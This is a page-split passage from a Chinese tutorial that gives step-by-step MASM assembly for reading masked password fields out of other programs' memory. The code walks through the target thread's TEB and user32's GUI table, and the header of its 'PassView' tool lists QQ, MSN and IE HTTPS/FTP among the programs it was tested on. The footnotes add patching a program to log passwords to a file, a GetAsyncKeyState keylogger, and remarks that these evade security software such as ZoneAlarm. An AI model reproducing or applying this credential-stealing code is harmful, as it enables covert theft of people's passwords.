lea ecx,modinfo.szModule
invoke lstrcmpi,offset user32dll,ecx ;比较模块名是否为user32.dll
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetUser32Base endp
第五步:
根据窗口所在的线程得到该线程的TEB地址
invoke OpenThread,THREAD_QUERY_INFORMATION,FALSE,WINTHREADID ;线程ID
..if eax != NULL
mov THREADHAND,EAX
invoke LoadLibrary,offset Ntdll
invoke GetProcAddress,eax,offset _ZwQueryInformationThread ;调用NAVITE API
mov apiquerthread,eax
push 0
push sizeof THREAD_BASIC_INFORMATION
lea ecx,threadinfo
push ecx
push ThreadBasicInformation
push THREADHAND
call apiquerthread
.IF EAX == STATUS_SUCCESS
lea ecx,threadinfo
mov esi,[ecx+4] ;得到TEB了,通常为7FFDX000
.ELSE
invoke MessageBox,0,offset errgetteb,offset vp,1
ret
.ENDIF
.else
invoke MessageBox,0,offset erropenthread,offset vp,1
ret
.endif
第六步:得到TEB中的RealClientID,注意这儿是读目标程序的内存,不是自已的了..
add esi,6cch ;看第五步,ESI中为目标线程的TEB基地址,如果是程序自已获得自已的TEB
add esi,1ch ;只用MOV EAX,FS:[18]就行了,也就是文章中间反汇编看到的那样.
invoke Toolhelp32ReadProcessMemory,parid,esi,offset buffer1,4,NULL
;第一个参数为密码所在窗口进程PID,第二个是读的起始地址,第三个是放在哪儿,第四是读长度,第五实际读取
.if eax == TRUE ;为真说明读成功
mov eax,offset buffer1
mov eax,[eax]
mov edi,eax
.if eax ==NULL
invoke MessageBox,0,offset errnorealcid,offset vp,1
ret
.endif
.endif
第七步:得到目标进程R3层的GUI TABLE基地址
这一步应该是这个程序最关键的部分,希望大家认真阅读.先介绍一下我的思路:
我们已经知道这个基地址存放在目标程序加载的USER32.DLL的全局变量中.并且这个DLL中的UserRegisterWowHandlers
函数的返回值就是这个全局变量的地址.
首先想到的办法是直接调用这个函数,但是通过对这个函数的反汇编分析后发现该函数的参数难以正确构造特别是
在WIN2003系统下该函数会比较严格的检查参数,所以就放弃了直接调用该函数得到基地址的办法.
通过对不同系统的这个函数反汇编我们可以很容易的找到共同点:
2K系统:(5.0.2195.7032)
:77E3565D B880D2E477 mov eax, 77E4D280
:77E35662 C20800 ret 0008
XP系统:(5.1.2600.2180)
:77D535F5 B88000D777 mov eax, 77D70080
:77D535FA 5D pop ebp
:77D535FB C20800 ret 0008
2003系统:(5.2.3790.1830)
:77E514D9 B8C024E777 mov eax, 77E724C0
:77E514DE C9 leave
:77E514DF C2080000 ret 0008
分析共同点以后,我们就可以写出相应的算法.我的算法是:
1.得到我的进程自身的USER32.DLL的基地址,我们设为user32base(其实也就是LoadLibrary加载这个DLL的返回值)
2.调用GetProcAddress得到UserRegisterWowHandlers的入口地址.
3.从入口地址处读1000个字节(这个函数功能其实很简单1000个字节足够了)
4.在这1000个字节中,我使用了LDE32库的汇编指令长度判断函数(注四).给出指令的首地址可以准确的计算出指令的长度.
这样我先找长度为3的指令,同时指令内容要为C20800(UserRegisterWowHandlers只有两个参数所以用这种方法找这个指令正确率应该很高)
在查找的过程中我用一个局部变量记录每一个指令的长度.在找到C20800后我再倒过去找指令长度为5,同时指令的第一个字节为B8
(也就是mov eax,xxxxxxxx指令)
5.在找到mov eax,xxxxxxxx指令后,取这个地址往后4个字节的值,这个值(我们设为varaddr)通常就是记录GUI TABLE基地址变量的地址
6.分析USER32.DLL的PE文件结构,找出这个DLL的全局变量的起始地址(也就是.data段的虚拟偏移(VirtualAddress)+USER32.DLL的加载基地址).
7.用第5步找到的varaddr-(user32base+VirtualAddress),得到的值就是这个变量在USER32.DLL的全局变量中的相对偏移,我们记为VarOffset,
如果这个值>0,同时小于.data段的VirtualSize那么说明成功.如果不成功我们再跳到第5步再从后往前重新找mov eax,xxxxxxxx指令.
8.通过前面第四步(根据窗口所在的进程的进程号得到这个进程加载的USER32.DLL的基地址)+VirtualAddress+VarOffset我们就得到了目标
进程中这个变量的地址,最后再调用Toolhelp32ReadProcessMemory,就可以读出GUI TABLE的基地址了.
(注:由于不能找到直接调用UserRegisterWowHandlers的办法,所以第七步从原理上看并不能保证有100%的成功率,但通过我对多个不同系统
不同版本的测试,目前的这个算法都还是通用)
第八步:最后其实就是把*把密码算出来*这一节的算法实现就0K了.不过要注意的是密码可能是Unicode格式的.
*最后的总结*
所有的分析和技术细节都在上面了,这篇文章要用到PE文件格式,NAVITE API,反汇编等知识如有不懂可以参考网上的相关的资料.
注一:文件补丁技术简单说就是分析目标程序的流层,找出程序本身获得密码框密码的代码,然后在这个代码后面加上一个跳转
跳到我们新增加的PE节中,在这个节中的代码就是取得密码并记录到文件中,然后再跳回程序原来的流层.
注二:其实要取得密码也可以这样做:发送EW_SETPASSWORDCHAR消息,取消EDIT控件的密码风格,然后再调用GetWindowText函数取密码
最后再恢复密码框属性,不过对于这种办法,用户很可能会发现异常.
使用Delphi/BCB工具中的TEDIT类,可以直接发消息,这时微软的限制完全不起作用.
注三:大多数版本的ZoneAlarm是只防止OpenProcess打开系统进程以及IE的进程句柄,对于OpenProcess第三方程序默认中级安全级别下不拦.
注四:程序中使用的LDE32库,是国外的程序员开发的一个专门计算汇编指令长度的小工具,网上有源代码可下载..
该库文件编译后只有600多个字节.
注五:还有一种按键记录技术是用一个死循环不停的调用GetAsyncKeyState和GetKeyState判断同一时间下每个按键的当前状态.
该方法目前也很难被安全软件发现但还是有记录不准确,不能记录不按顺序输入的密码(当然也不能记中文)等问题.
附:
1.看星号程序源代码
2.一个简单的密码框程序
3.测试系统的USER32.DLL
内存读取获得密码(原创)
; #--------------------------------------# #
; # PassView # #
; # # #
; # #
; # 2007.1.1 #
; # codz: czy # #
; #------------------------------------------# #
;test on winXPSP2,qqgame,QQlocalmsgpass,MSN,IE HTTPS/FTP,OE,RAR
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\gdi32.lib
CLIENT_ID STRUCT ; sizeof = 8
UniqueProcess HANDLE ?
UniqueThread HANDLE ?
CLIENT_ID ENDS
THREAD_BASIC_INFORMATION STRUCT ; sizeof = 1ch
ExitStatus DWORD ?
上一页 1 2 3 4 5 6 7 8 9 10 下一页 |